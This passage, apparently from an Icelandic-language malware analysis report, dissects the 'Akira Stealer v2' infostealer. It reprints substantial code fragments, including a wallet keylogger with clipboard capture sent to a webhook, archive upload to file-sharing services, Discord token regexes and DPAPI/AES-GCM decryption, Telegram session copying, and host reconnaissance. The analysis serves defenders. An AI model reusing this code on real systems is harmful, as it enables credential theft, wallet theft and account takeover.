inniheldur setulykla, ",[550,8267,8268],{},"D877F...","-mappa með secret- og unsecret-skrám.",[606,8271,8272,8275],{},[539,8273,8274],{},"Notkun",": hlaðið inn í Telegram-klient árásaraðilans til að fá fullan aðgang að reikningnum.",[861,8277,8279],{"id":8278},"_785-lifandi-keylogging-á-veskjum","7.8.5 Lifandi keylogging á veskjum",[532,8281,867],{},[532,8283,8284],{},"Kryptógjaldmiðlaveski eru helstu skotmörk nútíma infostealers. Akira hefur lifandi keylogger sem er sérhannaður til að stela credentials veskja, svo sem seed-frösum, einkalyklum og lykilorðum, á því augnabliki sem þau eru slegin inn. Ólíkt almennum keyloggers virkjast þessi aðeins þegar þekktur veskjagluggi finnst, sem minnkar klið verulega og aukur skilvirkni.",[532,8286,8287],{},"Einingin vaktar titla á virkum gluggum og ber þá við harðkóðaðan lista vinsælla veskjaforrita eins og MetaMask, Phantom, Atomic Wallet og fleiri. Þegar gluggi sem passar er í forgrunni byrjar hún að skrá ásláttinn með lyklaborðshookum sem virka á öllu kerfinu. Þegar notandinn ýtir á Enter fangar einingin samstundis innihald klippiborðsins, því hún gerir ráð fyrir að notendur afriti oft leyndarmál við uppsetningu eða innskráningu í veski, og sendir bæði innslegna textann og klippiborðsgögnin á webhook árásaraðilans. Þessi aðferð er afar áhrifarík því hún sameinar tvær árásarleiðir:",[603,8289,8290,8293],{},[606,8291,8292],{},"Keylogging sem tekur mið af samhengi og fangar aðeins viðkvæmt inntak í veskjum þegar það á við.",[606,8294,8295],{},"Yfirtöku klippiborðsins, til að draga út afritaða endurheimtufrasa eða áfangaheimilisföng áður en þeim er límt inn.",[532,8297,8298],{},"Samanlagt gera þessar aðferðir árásaraðilum kleift að kompromítera veski hljóðlega í rauntíma, jafnvel án aðgangs að browsernum eða exfiltration skráa.",[587,8300,8302],{"className":4490,"code":8301,"language":4492,"meta":593,"style":593},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[550,8303,8304,8309,8313,8318,8323,8328,8333,8338,8342,8347,8352,8357,8362,8367,8372,8377,8382],{"__ignoreMap":593},[1685,8305,8306],{"class":1687,"line":1688},[1685,8307,8308],{},"import keyboard, pyperclip\n",[1685,8310,8311],{"class":1687,"line":2064},[1685,8312,3852],{"emptyLinePlaceholder":325},[1685,8314,8315],{"class":1687,"line":2070},[1685,8316,8317],{},"class WalletKeylogger:\n",[1685,8319,8320],{"class":1687,"line":2076},[1685,8321,8322],{},"    def __init__(self, wallet_titles):\n",[1685,8324,8325],{"class":1687,"line":2398},[1685,8326,8327],{},"        self.buf = \"\"\n",[1685,8329,8330],{"class":1687,"line":2404},[1685,8331,8332],{},"        keyboard.on_release(self.capture)\n",[1685,8334,8335],{"class":1687,"line":3060},[1685,8336,8337],{},"        self.wallet_titles = wallet_titles\n",[1685,8339,8340],{"class":1687,"line":3855},[1685,8341,3852],{"emptyLinePlaceholder":325},[1685,8343,8344],{"class":1687,"line":3861},[1685,8345,8346],{},"    def capture(self, event):\n",[1685,8348,8349],{"class":1687,"line":4106},[1685,8350,8351],{},"        title = pygetwindow.getActiveWindow().title\n",[1685,8353,8354],{"class":1687,"line":5023},[1685,8355,8356],{},"        if any(w in title for w in self.wallet_titles):\n",[1685,8358,8359],{"class":1687,"line":5029},[1685,8360,8361],{},"            if event.name == 'enter':\n",[1685,8363,8364],{"class":1687,"line":5035},[1685,8365,8366],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1685,8368,8369],{"class":1687,"line":5041},[1685,8370,8371],{},"                send_to_webhook(data)\n",[1685,8373,8374],{"class":1687,"line":5047},[1685,8375,8376],{},"                self.buf = \"\"\n",[1685,8378,8379],{"class":1687,"line":5053},[1685,8380,8381],{},"            else:\n",[1685,8383,8384],{"class":1687,"line":5059},[1685,8385,8386],{},"                self.buf += event.name\n",[603,8388,8389,8395],{},[606,8390,8391,8394],{},[539,8392,8393],{},"Kveikjulisti",": titlar glugga sem innihalda „MetaMask\", „Phantom\", „Atomic Wallet\" og fleiri.",[606,8396,8397,8400],{},[539,8398,8399],{},"Klippiborð",": fangar afritaða seed-frasa eða einkalykla.",[861,8402,8404],{"id":8403},"_786-pökkun-og-exfiltration","7.8.6 Pökkun og exfiltration",[532,8406,867],{},[532,8408,8409],{},"Eftir að hafa safnað browsergögnum, credentials, veskjaupplýsingum og tokens heldur Akira áfram og sameinar og exfiltrerar þýfið með mjög sjálfvirkum og hljóðlátum hætti. Þetta þrep er síðasta skrefið í sýkingarkeðjunni og er fínstillt fyrir áreiðanleika og lágmarks forensic-fótspor. Fyrst eru öll söfnuð gögn, þar á meðal browser-dumpar, loggar og veskjaupplýsingar úr keyloggernum, þjappuð í ZIP-safnskrá. Það tryggir að allt gagnasafnið megi flytja sem einn payload. Safnskránni er svo hlaðið upp á margar opinberar skráadeilingarþjónustur eins og GoFile, File.io eða Oshi.at, eftir því hvað er aðgengilegt. Þessir pallar bjóða nafnlausa og skammlífa hýsingu og eru oft notaðir til að komast fram hjá eldveggjum fyrirtækja eða blokkun sem byggir á orðspori. Samhliða er skipulögð skýrsla búin til og send árásaraðilanum með Discord- eða Telegram-webhook. Hún inniheldur samantektartölur, hve mörg veski fundust, hve mörg tokens voru gild, og beinan hlekk á stolnu gögnin. Það gefur árásaraðilum fljótt yfirlit yfir verðmæti skotmarksins án þess að opna safnskrána.",[532,8411,8412],{},"Að lokum eyðir malware-ið tímabundnu möppunni og safnskránni af diski, og fjarlægir þannig í reynd staðbundnar forensic-sannanir. Þegar þeir sem verjast koma auga á sýkinguna eru gögnin þegar farin, og oft óafturkræf.",[587,8414,8416],{"className":4490,"code":8415,"language":4492,"meta":593,"style":593},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[550,8417,8418,8423,8428,8433,8438,8443,8448,8453,8458,8463,8468,8473,8478,8483,8488,8492,8497,8502],{"__ignoreMap":593},[1685,8419,8420],{"class":1687,"line":1688},[1685,8421,8422],{},"# 1) ZIP everything (including Wallets folder)\n",[1685,8424,8425],{"class":1687,"line":2064},[1685,8426,8427],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1685,8429,8430],{"class":1687,"line":2070},[1685,8431,8432],{},"# 2) Attempt upload to primary & fallback services\n",[1685,8434,8435],{"class":1687,"line":2076},[1685,8436,8437],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1685,8439,8440],{"class":1687,"line":2398},[1685,8441,8442],{},"# 3) Report summary\n",[1685,8444,8445],{"class":1687,"line":2404},[1685,8446,8447],{},"embed = {\n",[1685,8449,8450],{"class":1687,"line":3060},[1685,8451,8452],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1685,8454,8455],{"class":1687,"line":3855},[1685,8456,8457],{},"    \"fields\": [\n",[1685,8459,8460],{"class":1687,"line":3861},[1685,8461,8462],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1685,8464,8465],{"class":1687,"line":4106},[1685,8466,8467],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1685,8469,8470],{"class":1687,"line":5023},[1685,8471,8472],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1685,8474,8475],{"class":1687,"line":5029},[1685,8476,8477],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1685,8479,8480],{"class":1687,"line":5035},[1685,8481,8482],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1685,8484,8485],{"class":1687,"line":5041},[1685,8486,8487],{},"    ]\n",[1685,8489,8490],{"class":1687,"line":5047},[1685,8491,2407],{},[1685,8493,8494],{"class":1687,"line":5053},[1685,8495,8496],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1685,8498,8499],{"class":1687,"line":5059},[1685,8500,8501],{},"# 4) Cleanup local folder & ZIP\n",[1685,8503,8504],{"class":1687,"line":5065},[1685,8505,7687],{},[713,8507,8509,8510,1111],{"id":8508},"_79-þjófnaður-discord-og-telegram-tokens-klasi-discord","7.9. Þjófnaður Discord- og Telegram-tokens (klasi: ",[550,8511,1316],{},[532,8513,719],{},[532,8515,8516,8518],{},[539,8517,1316],{},"-klasinn í Akira Stealer v2 keyrir mjög samhliða fjölþrepa ferli til að safna bæði Discord-authorization-tokens og Telegram-setugögnum. Hér fyrir neðan tökum við hvern hluta í sundur með nákvæmum kóðatilvísunum og lýsandi dæmum.",[861,8520,8522],{"id":8521},"_791-frumstilling-og-upptalning-slóða","7.9.1 Frumstilling og upptalning slóða",[532,8524,867],{},[532,8526,8527],{},"Þegar tilvik er búið til byggir smiðurinn tvö söfn markslóða:",[587,8529,8531],{"className":4490,"code":8530,"language":4492,"meta":593,"style":593},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[550,8532,8533,8538,8543,8548,8553,8557,8561,8565,8570,8575,8580,8585,8589],{"__ignoreMap":593},[1685,8534,8535],{"class":1687,"line":1688},[1685,8536,8537],{},"# Discord client LevelDB directories\n",[1685,8539,8540],{"class":1687,"line":2064},[1685,8541,8542],{},"discord_paths = [\n",[1685,8544,8545],{"class":1687,"line":2070},[1685,8546,8547],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1685,8549,8550],{"class":1687,"line":2076},[1685,8551,8552],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1685,8554,8555],{"class":1687,"line":2398},[1685,8556,3842],{},[1685,8558,8559],{"class":1687,"line":2404},[1685,8560,7912],{},[1685,8562,8563],{"class":1687,"line":3060},[1685,8564,3852],{"emptyLinePlaceholder":325},[1685,8566,8567],{"class":1687,"line":3855},[1685,8568,8569],{},"# Chromium-based browser LevelDB directories\n",[1685,8571,8572],{"class":1687,"line":3861},[1685,8573,8574],{},"browserPaths = [\n",[1685,8576,8577],{"class":1687,"line":4106},[1685,8578,8579],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1685,8581,8582],{"class":1687,"line":5023},[1685,8583,8584],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1685,8586,8587],{"class":1687,"line":5029},[1685,8588,3842],{},[1685,8590,8591],{"class":1687,"line":5035},[1685,8592,7912],{},[603,8594,8595,8604],{},[606,8596,8597,8600,8601,585],{},[539,8598,8599],{},"Discord-slóðir"," beinast að opinberum og óopinberum Discord-klientum undir ",[550,8602,8603],{},"%APPDATA%",[606,8605,8606,8609],{},[539,8607,8608],{},"Browser-slóðir"," nái yfir notandagagnamöppur vinsælla browsers, þar á meðal undirmöppur fyrir local storage og extensions.",[532,8611,8612],{},"Þráðum er ræst fyrir hverja færslu:",[587,8614,8616],{"className":4490,"code":8615,"language":4492,"meta":593,"style":593},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[550,8617,8618,8623,8628,8633,8638,8643],{"__ignoreMap":593},[1685,8619,8620],{"class":1687,"line":1688},[1685,8621,8622],{},"for patt in browserPaths:\n",[1685,8624,8625],{"class":1687,"line":2064},[1685,8626,8627],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1685,8629,8630],{"class":1687,"line":2070},[1685,8631,8632],{},"    t.start()\n",[1685,8634,8635],{"class":1687,"line":2076},[1685,8636,8637],{},"for patt in discord_paths:\n",[1685,8639,8640],{"class":1687,"line":2398},[1685,8641,8642],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1685,8644,8645],{"class":1687,"line":2404},[1685,8646,8632],{},[532,8648,8649],{},"Þetta þráðamódel hámarkar I/O-afköst og prófar tugi mappa samhliða.",[861,8651,8653],{"id":8652},"_792-rökvísi-útdráttar-tokens","7.9.2 Rökvísi útdráttar tokens",[532,8655,867],{},[532,8657,8658],{},[539,8659,8660],{},"Söfnun tokens í plaintext úr browsers",[532,8662,8663,8666,8667,8670,8671,8674],{},[550,8664,8665],{},"get_btoken(path, arg)"," fer í hverja LevelDB-möppu og skoðar ",[550,8668,8669],{},".log","- og ",[550,8672,8673],{},".ldb","-skrár:",[587,8676,8678],{"className":4490,"code":8677,"language":4492,"meta":593,"style":593},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[550,8679,8680,8685,8690,8695,8700,8705,8710,8715],{"__ignoreMap":593},[1685,8681,8682],{"class":1687,"line":1688},[1685,8683,8684],{},"for file in os.listdir(path + arg):\n",[1685,8686,8687],{"class":1687,"line":2064},[1685,8688,8689],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1685,8691,8692],{"class":1687,"line":2070},[1685,8693,8694],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1685,8696,8697],{"class":1687,"line":2076},[1685,8698,8699],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1685,8701,8702],{"class":1687,"line":2398},[1685,8703,8704],{},"                tokens = re.findall(regex, line)\n",[1685,8706,8707],{"class":1687,"line":2404},[1685,8708,8709],{},"                for token in tokens:\n",[1685,8711,8712],{"class":1687,"line":3060},[1685,8713,8714],{},"                    self.tokens.append(token)\n",[1685,8716,8717],{"class":1687,"line":3855},[1685,8718,8719],{},"                    self.cehckToken(token)\n",[603,8721,8722,8731,8739],{},[606,8723,8724,8730],{},[539,8725,8726,8727],{},"Regluleg segð ",[550,8728,8729],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," passar við venjuleg Discord-tokens.",[606,8732,8733,8738],{},[539,8734,8726,8735],{},[550,8736,8737],{},"mfa\\.[\\w-]{80,95}"," fangar MFA-tokens.",[606,8740,8741,8742,8745],{},"Afföllun er óbein: tokens eru vistuð í ",[550,8743,8744],{},"self.tokens"," áður en þau eru staðfest.",[532,8747,8748],{},[539,8749,8750],{},"Afkóðun dulkóðaðra tokens í Discord-klientinum",[532,8752,8753,8754,8756,8757,8759,8760,8763],{},"Klient Discord dulkóðar Local Storage-færslur með DPAPI, með ",[550,8755,6494],{}," eða ",[550,8758,6498],{}," sem forskeyti. ",[550,8761,8762],{},"get_discord(path, arg)"," tekur á því:",[587,8765,8767],{"className":4490,"code":8766,"language":4492,"meta":593,"style":593},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[550,8768,8769,8774,8779,8783,8788,8793,8797,8802,8806,8810,8815,8820,8825,8830,8835],{"__ignoreMap":593},[1685,8770,8771],{"class":1687,"line":1688},[1685,8772,8773],{},"# Read Local State to obtain encrypted master key\n",[1685,8775,8776],{"class":1687,"line":2064},[1685,8777,8778],{},"with open(path + \"/Local State\", 'r') as f:\n",[1685,8780,8781],{"class":1687,"line":2070},[1685,8782,7088],{},[1685,8784,8785],{"class":1687,"line":2076},[1685,8786,8787],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1685,8789,8790],{"class":1687,"line":2398},[1685,8791,8792],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1685,8794,8795],{"class":1687,"line":2404},[1685,8796,3852],{"emptyLinePlaceholder":325},[1685,8798,8799],{"class":1687,"line":3060},[1685,8800,8801],{},"# Iterate LevelDB files for Base64 payloads\n",[1685,8803,8804],{"class":1687,"line":3855},[1685,8805,8684],{},[1685,8807,8808],{"class":1687,"line":3861},[1685,8809,8689],{},[1685,8811,8812],{"class":1687,"line":4106},[1685,8813,8814],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1685,8816,8817],{"class":1687,"line":5023},[1685,8818,8819],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1685,8821,8822],{"class":1687,"line":5029},[1685,8823,8824],{},"                ciphertext = b64decode(token_part)\n",[1685,8826,8827],{"class":1687,"line":5035},[1685,8828,8829],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1685,8831,8832],{"class":1687,"line":5041},[1685,8833,8834],{},"                self.tokens.append(token)\n",[1685,8836,8837],{"class":1687,"line":5047},[1685,8838,8839],{},"                self.cehckToken(token)\n",[603,8841,8842,8851],{},[606,8843,8844,8847,8848,8850],{},[539,8845,8846],{},"Endurheimt meginlykils",": fjarlægir 5-bæta DPAPI-hausinn og kallar svo á ",[550,8849,7154],{}," (sem pakkar Windows DPAPI) til að afkóða AES-GCM-lykilinn.",[606,8852,8853,8856,8857,8860,8861,8864,8865],{},[539,8854,8855],{},"Úrvinnsla payloads",": tokens hafa ",[550,8858,8859],{},"dQw4w9WgXcQ:"," sem forskeyti (merki sem árásaraðilinn valdi). Eftir Base64-afkóðun klýfur ",[550,8862,8863],{},"decrypt_value()"," IV og dulmálstexta:",[587,8866,8868],{"className":4490,"code":8867,"language":4492,"meta":593,"style":593},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[550,8869,8870,8875,8880,8885,8890],{"__ignoreMap":593},[1685,8871,8872],{"class":1687,"line":1688},[1685,8873,8874],{},"def decrypt\\_value(buff, master\\_key):\n",[1685,8876,8877],{"class":1687,"line":2064},[1685,8878,8879],{},"iv = buff\\[3:15]\n",[1685,8881,8882],{"class":1687,"line":2070},[1685,8883,8884],{},"payload = buff\\[15:]\n",[1685,8886,8887],{"class":1687,"line":2076},[1685,8888,8889],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1685,8891,8892],{"class":1687,"line":2398},[1685,8893,8894],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[861,8896,8898],{"id":8897},"_793-staðfesting-og-exfiltration-tokens","7.9.3 Staðfesting og exfiltration tokens",[532,8900,867],{},[532,8902,8903],{},"Hvert token sem dregið er út er staðfest með lifandi API-kalli:",[587,8905,8908],{"className":8906,"code":8907,"language":592},[590],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[550,8909,8907],{"__ignoreMap":593},[603,8911,8912],{},[606,8913,8914,8917,8918,8921,8922,8925,8926],{},[539,8915,8916],{},"Ef það gengur upp"," ákvarðar ",[550,8919,8920],{},"cehckToken()"," hvort sent skuli með Telegram (",[550,8923,8924],{},"useTg=True",") eða Discord-webhook:",[587,8927,8929],{"className":4490,"code":8928,"language":4492,"meta":593,"style":593},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[550,8930,8931,8936,8941,8946],{"__ignoreMap":593},[1685,8932,8933],{"class":1687,"line":1688},[1685,8934,8935],{},"if useTg:\n",[1685,8937,8938],{"class":1687,"line":2064},[1685,8939,8940],{},"self.sendTokenTg(token)\n",[1685,8942,8943],{"class":1687,"line":2070},[1685,8944,8945],{},"else:\n",[1685,8947,8948],{"class":1687,"line":2076},[1685,8949,8950],{},"self.send\\_embed(token)\n",[603,8952,8953],{},[606,8954,8955,8960],{},[539,8956,8957],{},[550,8958,8959],{},"send_embed"," býr til ríkt Discord-embed sem inniheldur lýsigögn notandans (notandanafn, discriminator, tölvupóst, Nitro-stöðu, greiðsluupplýsingar) með svæðum úr",[587,8962,8965],{"className":8963,"code":8964,"language":592},[590],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[550,8966,8964],{"__ignoreMap":593},[603,8968,8969],{},[606,8970,8971,8976],{},[539,8972,8973],{},[550,8974,8975],{},"sendTokenTg"," sendir samantekt í plaintext yfir Telegram-API.",[861,8978,8980],{"id":8979},"_794-söfnun-telegram-seta","7.9.4 Söfnun Telegram-seta",[532,8982,867],{},[532,8984,8985],{},"Umfram Discord-tokens grípur stealerinn Telegram Desktop-setur:",[587,8987,8989],{"className":4490,"code":8988,"language":4492,"meta":593,"style":593},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[550,8990,8991,8995,9000,9005,9010],{"__ignoreMap":593},[1685,8992,8993],{"class":1687,"line":1688},[1685,8994,4975],{},[1685,8996,8997],{"class":1687,"line":2064},[1685,8998,8999],{},"def steal_telegram():\n",[1685,9001,9002],{"class":1687,"line":2070},[1685,9003,9004],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1685,9006,9007],{"class":1687,"line":2076},[1685,9008,9009],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1685,9011,9012],{"class":1687,"line":2398},[1685,9013,9014],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[603,9016,9017,9023,9032],{},[606,9018,9019,9022],{},[539,9020,9021],{},"Stöðvun ferla",": tryggir að skráalæsingum sé sleppt.",[606,9024,9025,9028,9029,9031],{},[539,9026,9027],{},"Endurkvæm afritun",": stelur ",[550,9030,8264],{},"-möppunni, þar á meðal notandasetum, tengiliðum og skeytum í skyndiminni.",[606,9033,9034,9036,9037,9040],{},[539,9035,1332],{},": stolnu möppunni er pakkað og hlaðið upp með ",[550,9038,9039],{},"sendFilesTG()",", með niðurhalshlekknum innbyggðum í Telegram-skeyti.",[532,9042,9043,9045],{},[550,9044,1316],{},"-eining Akira Stealer sameinar söfnun með reglulegum segðum, AES-GCM-afkóðun með stuðningi DPAPI, staðfestingu með lifandi API og exfiltration yfir margar samskiptareglur (webhook og Telegram) til að skila hnökralausri getu til að yfirtaka reikninga á báðum pöllunum, Discord og Telegram.",[713,9047,9049],{"id":9048},"_710-kerfisgreining","7.10 Kerfisgreining",[532,9051,719],{},[532,9053,9054,9055,9058],{},"Akira Stealer v2 hefur umfangsmikinn greiningarfasa á kerfinu til að safna lýsigögnum hostsins, einkennum umhverfisins og netupplýsingum. Þessum upplýsingum er safnað í ",[550,9056,9057],{},"Data","-klasann og þær síðar pakkaðar með exfiltreruðum credentials. Hér fyrir neðan tökum við greiningarrökvísina í sundur með beinum kóðatilvísunum.",[861,9060,9062,9063,9065],{"id":9061},"_7101-frumstilling-data-klasans","7.10.1 Frumstilling ",[550,9064,9057],{},"-klasans",[532,9067,867],{},[532,9069,9070,9071,9073],{},"Við ræsingu er tilvik af ",[550,9072,9057],{}," búið til:",[587,9075,9077],{"className":4490,"code":9076,"language":4492,"meta":593,"style":593},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[550,9078,9079,9084,9089,9094,9099,9104,9109,9114,9119,9124],{"__ignoreMap":593},[1685,9080,9081],{"class":1687,"line":1688},[1685,9082,9083],{},"class Data:\n",[1685,9085,9086],{"class":1687,"line":2064},[1685,9087,9088],{},"    def __init__(self):\n",[1685,9090,9091],{"class":1687,"line":2070},[1685,9092,9093],{},"        self.username = os.getlogin()\n",[1685,9095,9096],{"class":1687,"line":2076},[1685,9097,9098],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1685,9100,9101],{"class":1687,"line":2398},[1685,9102,9103],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1685,9105,9106],{"class":1687,"line":2404},[1685,9107,9108],{},"        ...\n",[1685,9110,9111],{"class":1687,"line":3060},[1685,9112,9113],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1685,9115,9116],{"class":1687,"line":3855},[1685,9117,9118],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1685,9120,9121],{"class":1687,"line":3861},[1685,9122,9123],{},"        self.country = ipdata.get(\"country\")\n",[1685,9125,9126],{"class":1687,"line":4106},[1685,9127,9128],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[603,9130,9131,9144],{},[606,9132,9133,9136,9137,9140,9141,585],{},[539,9134,9135],{},"Notandanafn og hostname:"," sótt með ",[550,9138,9139],{},"os.getlogin()"," og umhverfisbreytunni ",[550,9142,9143],{},"COMPUTERNAME",[606,9145,9146,9136,9149,9152,9153,9155],{},[539,9147,9148],{},"IP-tala:",[550,9150,9151],{},"requests.get(\"https://api.ipify.org\")"," og svo staðsett í gegnum ",[550,9154,5321],{}," til að fá land og ISO-kóða.",[861,9157,9159],{"id":9158},"_7102-upptalning-stýrikerfis-og-vélbúnaðar","7.10.2 Upptalning stýrikerfis og vélbúnaðar",[532,9161,867],{},[532,9163,9164],{},"Með skipunum Windows Management Instrumentation (WMI):",[587,9166,9168],{"className":4490,"code":9167,"language":4492,"meta":593,"style":593},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[550,9169,9170,9175,9180,9185,9190,9195,9200,9205,9210,9215,9220,9225],{"__ignoreMap":593},[1685,9171,9172],{"class":1687,"line":1688},[1685,9173,9174],{},"# Operating System\n",[1685,9176,9177],{"class":1687,"line":2064},[1685,9178,9179],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1685,9181,9182],{"class":1687,"line":2070},[1685,9183,9184],{},"# Total Physical Memory\n",[1685,9186,9187],{"class":1687,"line":2076},[1685,9188,9189],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1685,9191,9192],{"class":1687,"line":2398},[1685,9193,9194],{},"# BIOS UUID\n",[1685,9196,9197],{"class":1687,"line":2404},[1685,9198,9199],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1685,9201,9202],{"class":1687,"line":3060},[1685,9203,9204],{},"# CPU 